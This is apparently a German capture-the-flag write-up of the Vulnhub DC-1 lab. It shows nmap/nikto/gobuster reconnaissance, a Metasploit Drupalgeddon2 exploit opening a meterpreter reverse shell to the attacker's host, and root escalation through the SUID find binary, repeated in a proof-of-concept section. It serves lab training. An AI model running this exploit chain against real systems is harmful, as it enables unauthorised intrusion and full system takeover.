DC-1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
curl
msfconsole

Inhaltsverzeichnis

Reconnaissance

In diesem Abschnitt beginnen wir mit der Aufklärung (Reconnaissance) des Zielsystems. Ziel ist es, so viele Informationen wie möglich über das System zu sammeln, um potenzielle Angriffspunkte zu identifizieren.

Dieser Prozess ist entscheidend, da er die Grundlage für alle nachfolgenden Schritte bildet.

┌──(root㉿CCat)-[~]
└─# arp-scan -l

192.168.2.163 08:00:27:aa:94:9f PCS Systemtechnik GmbH

Der Befehl arp-scan -l scannt das lokale Netzwerk nach aktiven Hosts. Die Ausgabe zeigt, dass ein Gerät mit der IP-Adresse 192.168.2.163 und der MAC-Adresse 08:00:27:aa:94:9f (PCS Systemtechnik GmbH) gefunden wurde.

Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren.

┌──(root㉿CCat)-[~]
└─# cat /etc/hosts

192.168.2.163 dc1.vln

Der Befehl cat /etc/hosts zeigt den Inhalt der /etc/hosts-Datei. Hier wird der Hostname dc1.vln der IP-Adresse 192.168.2.163 zugeordnet.

Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse, was die Lesbarkeit und das Management erleichtert.

Nmap IPv6 Scan :
IPv6 Adresse: fe80a00:27ff:feaa:949f%eth0:
fe80a00:27ff:feee:49a2%eth0:

Dieser Abschnitt zeigt die IPv6-Adressen des Zielsystems. IPv6 ist die neueste Version des Internetprotokolls und wird verwendet, um Geräte im Netzwerk zu identifizieren und zu lokalisieren.

Die Kenntnis der IPv6-Adresse ist nützlich, um das Zielsystem über IPv6 zu erreichen, falls IPv6 aktiviert ist.

┌──(root㉿CCat)-[~]
└─# nmap -sU --top-port 1000 -T5 -n $IP -Pn --min-rate 5000

Starting Nmap 7.94SVN (https://nmap.org) at 2024-10-15 14:49 CEST
Nmap scan report for 192.168.2.163
Host is up (0.00053s latency).
Not shown: 993 open|filtered udp ports (no-response)
PRT STATE SERVICE
111/udp open rpcbind
773/udp closed notify
17468/udp closed unknown
21644/udp closed unknown
31059/udp closed unknown
47915/udp closed unknown
49360/udp closed unknown
MAC Address: 08:00:27:AA:94:9F (racle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.71 seconds

Der Befehl nmap -sU --top-port 1000 -T5 -n $IP -Pn --min-rate 5000 führt einen UDP-Scan auf den 1000 häufigsten Ports des Zielsystems durch.

Die Ausgabe zeigt, dass der Port 111/udp (rpcbind) geöffnet ist. Dies deutet darauf hin, dass der RPC-Dienst (Remote Procedure Call) auf dem Zielsystem läuft.

Der RPC-Dienst ist ein potenzieller Angriffspunkt, da er anfällig für verschiedene Schwachstellen sein kann.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open

22/tcp open ssh penSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
59899/tcp open status 1 (RPC #100024)

Der Befehl nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open führt einen TCP-Scan auf allen Ports des Zielsystems durch und filtert die Ausgabe nach offenen Ports.

Die Ausgabe zeigt, dass die Ports 22/tcp (SSH), 80/tcp (HTTP), 111/tcp (rpcbind) und 59899/tcp (status) geöffnet sind.

Dies bestätigt, dass das Zielsystem einen SSH-Server, einen Webserver und den RPC-Dienst betreibt.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000

Starting Nmap 7.94SVN (https://nmap.org) at 2024-10-15 14:49 CEST
Nmap scan report for DC-1 (192.168.2.163)
Host is up (0.00015s latency).
Not shown: 65531 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-server-header: Apache/2.2.22 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 54010/tcp6 status
| 100024 1 55473/udp6 status
| 100024 1 59774/udp status
|_ 100024 1 59899/tcp status
59899/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:AA:94:9F (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
S CPE: cpe:/o:linux:linux_kernel:3
S details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0

Der Befehl nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 führt einen umfassenden Scan des Zielsystems durch, einschließlich Portscan, Skriptausführung, Versionserkennung und Betriebssystemerkennung.

Die Ausgabe zeigt detaillierte Informationen über die laufenden Dienste, einschließlich der SSH-Version, der Apache-Version und der RPC-Dienste.

Der Befehl http-robots.txt zeigt die Einträge in der robots.txt-Datei, die für die Enumeration von versteckten Dateien und Verzeichnissen nützlich sein können.

Der Befehl http-generator zeigt, dass das Zielsystem Drupal 7 verwendet.

Die Ausgabe zeigt auch die MAC-Adresse, den Gerätetyp, das Betriebssystem und die Netzwerkdistanz.

└─# curl -Iv http://$IP

* Trying 192.168.2.163:80...
* Connected to 192.168.2.163 (192.168.2.163) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.163
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 K
< Date: Tue, 15 ct 2024 12:50:13 GMT
Date: Tue, 15 ct 2024 12:50:13 GMT
< Server: Apache/2.2.22 (Debian)
Server: Apache/2.2.22 (Debian)
< X-Powered-By: PHP/5.4.45-0+deb7u14
X-Powered-By: PHP/5.4.45-0+deb7u14
< Expires: Sun, 19 Nov 1978 05:00:00 GMT
Expires: Sun, 19 Nov 1978 05:00:00 GMT
< Last-Modified: Tue, 15 ct 2024 12:50:13 +0000
Last-Modified: Tue, 15 ct 2024 12:50:13 +0000
< Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
< ETag: "1728996613"
ETag: "1728996613"
< Content-Language: en
Content-Language: en
< X-Generator: Drupal 7 (http://drupal.org)
X-Generator: Drupal 7 (http://drupal.org)
< Vary: Accept-Encoding
Vary: Accept-Encoding
< Content-Type: text/html; charset=utf-8
Content-Type: text/html; charset=utf-8
<
* Connection #0 to host 192.168.2.163 left intact

Der Befehl curl -Iv http://$IP sendet eine HEAD-Anfrage an den Webserver und zeigt die HTTP-Header an.

Die Ausgabe zeigt die Serverversion (Apache/2.2.22 (Debian)), die PHP-Version (PHP/5.4.45-0+deb7u14) und den Generator (Drupal 7).

Diese Informationen sind nützlich, um nach bekannten Schwachstellen in diesen Versionen zu suchen.

Web Enumeration

In diesem Abschnitt konzentrieren wir uns auf die Enumeration des Webservers, um versteckte Dateien, Verzeichnisse und potenzielle Schwachstellen zu finden.

└─# nikto -h 192.168.2.163

- Nikto v2.5.0

+ Target IP: 192.168.2.163
+ Target Hostname: 192.168.2.163
+ Target Port: 80
+ Start Time: 2024-10-15 14:50:12 (GMT2)

+ Server: Apache/2.2.22 (Debian)
+ /: Retrieved x-powered-by header: PHP/5.4.45-0+deb7u14.
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: Drupal 7 was identified via the x-generator header. See: https://www.drupal.org/project/remove_http_headers
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /robots.txt: Server may leak inodes via ETags, header found with file /robots.txt, inode: 152289, size: 1561, mtime: Wed Nov 20 21:45:59 2013. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /robots.txt: Entry '/?q=filter/tips/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/MAINTAINERS.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/xmlrpc.php' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/INSTALL.mysql.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/LICENSE.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/filter/tips/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=user/password/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/UPGRADE.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=user/register/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/INSTALL.sqlite.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/INSTALL.pgsql.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/user/password/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/install.php' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/user/register/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/user/login/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=user/login/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: contains 36 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ /misc/favicon.ico: identifies this app/server as: Drupal 7.x. See: https://en.wikipedia.org/wiki/Favicon
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017
+ /web.config: ASP config file is accessible.
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: SVDB-12184
+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: SVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: SVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: SVDB-12184
+ /user/: This might be interesting.
+ /README: Uncommon header 'tcn' found, with contents: choice.
+ /README: README file found.
+ /UPGRADE.txt: Default file found.
+ /install.php: Drupal install.php file found. See: https://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-filehttps://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-file
+ /install.php: install.php file found.
+ /LICENSE.txt: License file found may identify site software.
+ /xmlrpc.php: xmlrpc.php was found.
+ /INSTALL.mysql.txt: Drupal installation file found. See: https://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-file
+ /INSTALL.pgsql.txt: Drupal installation file found. See: https://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-file
+ /icons 9753 requests: 0 error(s) and 42 item(s) reported on remote host
+ End Time: 2024-10-15 15:02:43 (GMT2) (751 seconds)

+ 1 host(s) tested

Der Befehl nikto -h 192.168.2.163 führt einen Scan mit Nikto durch, einem Webserver-Scanner, um potenzielle Schwachstellen zu identifizieren.

Die Ausgabe zeigt, dass der X-Frame-Options-Header und der X-Content-Type-Options-Header fehlen, was zu Clickjacking- und MIME-Sniffing-Angriffen führen könnte.

Die Datei robots.txt enthält 36 Einträge, die manuell überprüft werden sollten.

Es wurden verschiedene Drupal-Installationsdateien gefunden, was auf eine unsichere Konfiguration hindeutet.

Die verwendete Apache-Version ist veraltet und könnte bekannte Sicherheitslücken aufweisen.

└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k

http://192.168.2.163/index.php (Status: 200) [Size: 7606]
http://192.168.2.163/rss.xml (Status: 200) [Size: 281]
http://192.168.2.163/misc (Status: 301) [Size: 313] [--> http://192.168.2.163/misc/]
http://192.168.2.163/0 (Status: 200) [Size: 7606]
http://192.168.2.163/user (Status: 200) [Size: 7459]
http://192.168.2.163/themes (Status: 301) [Size: 315] [--> http://192.168.2.163/themes/]

Der Befehl gobuster dir -u "http://$IP" -w ... verwendet Gobuster, um nach versteckten Dateien und Verzeichnissen auf dem Webserver zu suchen.

Die Ausgabe zeigt, dass die Dateien index.php, rss.xml und die Verzeichnisse misc, user, themes gefunden wurden.

Das Verzeichnis misc ist besonders interessant, da es möglicherweise sensible Informationen enthält.

file:///home/ccat/Downloads/rss.xml

rss version="2.0" xml:base="http://192.168.2.163"

Drupal Site
http://192.168.2.163

Dieser Abschnitt zeigt den Inhalt der Datei rss.xml.

Die Datei enthält Informationen über die Drupal-Site.

Initial Access

In diesem Abschnitt nutzen wir Metasploit um eine Shell zu erhalten

┌──(root㉿CCat)-[~]
└─# msfconsole -q
Usage: use Interact with a module by name or search term/index. If a module name is not found, it will be treated as a search term. An index from the previous search results can be selected if desired. Examples: use exploit/windows/smb/ms17_010_eternalblue

msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.2.163
rhosts => 192.168.2.163

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 80
rport => 80

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set TARGETURI /index.php
TARGETURI => /index.php

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set TARGETURI /
TARGETURI => /

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set ForceExploit true
ForceExploit => true

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (39927 bytes) to 192.168.2.163
[*] Meterpreter session 1 opened (192.168.2.199:4444 -> 192.168.2.163:55398) at 2024-10-15 15:11:01 +0200

meterpreter > guid
[+] Session GUID: eaf71d41-ad68-4dee-b051-6253b62fc07c

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 3268 created.
Channel 0 created.

Privilege Escalation

Nun nutzen wir die Meterpreter shell um Root Rechte zu erlangen

find / -type f -perm -4000 -ls 2>/dev/null

Der Befehl listet alle SUID Dateien auf

4108 88 -rwsr-xr-x 1 root root 88744 Dec 10 2012 /bin/mount
7383 32 -rwsr-xr-x 1 root root 31104 Apr 13 2011 /bin/ping
3290 36 -rwsr-xr-x 1 root root 35200 Feb 27 2017 /bin/su
7385 36 -rwsr-xr-x 1 root root 35252 Apr 13 2011 /bin/ping6
4110 68 -rwsr-xr-x 1 root root 67704 Dec 10 2012 /bin/umount
30578 52 -rwsr-sr-x 1 daemon daemon 50652 ct 4 2014 /usr/bin/at
5033 36 -rwsr-xr-x 1 root root 35892 Feb 27 2017 /usr/bin/chsh
5036 48 -rwsr-xr-x 1 root root 45396 Feb 27 2017 /usr/bin/passwd
3300 32 -rwsr-xr-x 1 root root 30880 Feb 27 2017 /usr/bin/newgrp
5032 44 -rwsr-xr-x 1 root root 44564 Feb 27 2017 /usr/bin/chfn
5035 68 -rwsr-xr-x 1 root root 66196 Feb 27 2017 /usr/bin/gpasswd
31155 84 -rwsr-sr-x 1 root mail 83912 Nov 18 2017 /usr/bin/procmail

2091 160 -rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find

30731 916 -rwsr-xr-x 1 root root 937564 Feb 11 2018 /usr/sbin/exim4
2577 12 -rwsr-xr-x 1 root root 9660 Jun 20 2017 /usr/lib/pt_chown
144330 244 -rwsr-xr-x 1 root root 248036 Jan 27 2018 /usr/lib/openssh/ssh-keysign
7139 8 -rwsr-xr-x 1 root root 5412 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
145809 316 -rwsr-xr-- 1 root messagebus 321692 Feb 10 2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
31105 84 -rwsr-xr-x 1 root root 84532 May 22 2013 /sbin/mount.nfs

Die Ausgabe zeigt die SUID Dateien an

ls /home

flag4

cd /home/flag4

ls -la

total 28
drwxr-xr-x 2 flag4 flag4 4096 Feb 19 2019 .
drwxr-xr-x 3 root root 4096 Feb 19 2019 ..
-rw- 1 flag4 flag4 28 Feb 19 2019 .bash_history
-rw-r--r-- 1 flag4 flag4 220 Feb 19 2019 .bash_logout
-rw-r--r-- 1 flag4 flag4 3392 Feb 19 2019 .bashrc
-rw-r--r-- 1 flag4 flag4 675 Feb 19 2019 .profile
-rw-r--r-- 1 flag4 flag4 125 Feb 19 2019 flag4.txt

cat flag4.txt

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. r maybe it is?

┌──(ben㉿cyber)-[~]
└─#
find . -exec /bin/sh \; -quit

Privilege Escalation

Privilege Escalation erfolgreich

┌──(ben㉿cyber)-[~]
└─#
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)

┌──(ben㉿cyber)-[~]
└─#
cd /root
└─# ls
thefinalflag.txt

┌──(ben㉿cyber)-[~]
└─#
cat thefinalflag.txt
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7

Proof of Concept: Nutzung des Metasploit Moduls Drupalgeddon2 für Root-Privilege Eskalation

Dieser Proof of Concept (POC) demonstriert, wie das Metasploit Modul "Drupalgeddon2" in Verbindung mit SUID Binaries ausgenutzt werden kann, um die Root-Privilegien auf dem System zu erlangen.

Voraussetzungen

Schritt-für-Schritt-Anleitung

  1. Starten des Metasploit Framework:

    msfconsole -q
    Usage: use

    Interact with a module by name or search term/index.
    If a module name is not found, it will be treated as a search term.
    An index from the previous search results can be selected if desired.

    Examples:

  2. Auswählen des Drupalgeddon2 Exploit-Moduls:

    msf6 > use exploit/unix/webapp/drupal_drupalgeddon2

    [*] No payload configured, defaulting to php/meterpreter/reverse_tcp

  3. Setzen der Exploit Parameter:

    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.2.163

    rhosts => 192.168.2.163

    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 80

    rport => 80

    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set TARGETURI /index.php

    TARGETURI => /index.php

    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set TARGETURI /

    TARGETURI => /

    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set ForceExploit true

    ForceExploit => true

  4. Exploit ausführen und interaktive Shell öffnen:
    msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

    [*] Started reverse TCP handler on 192.168.2.199:4444
    [*] Running automatic check ("set AutoCheck false" to disable)
    [!] The service is running, but could not be validated.
    [*] Sending stage (39927 bytes) to 192.168.2.163
    [*] Meterpreter session 1 opened (192.168.2.199:4444 -> 192.168.2.163:55398) at 2024-10-15 15:11:01 +0200

    meterpreter > guid

    5-Root Rechte als www-data durch SUID Dateien erlangen.

    find / -type f -perm -4000 -ls 2>/dev/null find . -exec /bin/sh \; -quit

    6-Flag extrahieren

    cat thefinalflag.txt

    Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7

Erwartetes Ergebnis

Eine Reverse-Shell-Verbindung wird vom Zielsystem zum Angreifer-System hergestellt. Der Angreifer erhält eine Shell als Benutzer root und extrahiert das Root Flag.

Beweismittel

wird ein CMD shell mit Root Privilegien zurückgegeben! cat thefinalflag.txt Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7

Risikobewertung

Gefährdung des Systems durch Metasploit Modules wie Drupalgeddon2.

Empfehlungen

Flags

cat /home/flag4/flag4.txt userflag
cat /root/thefinalflag.txt Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7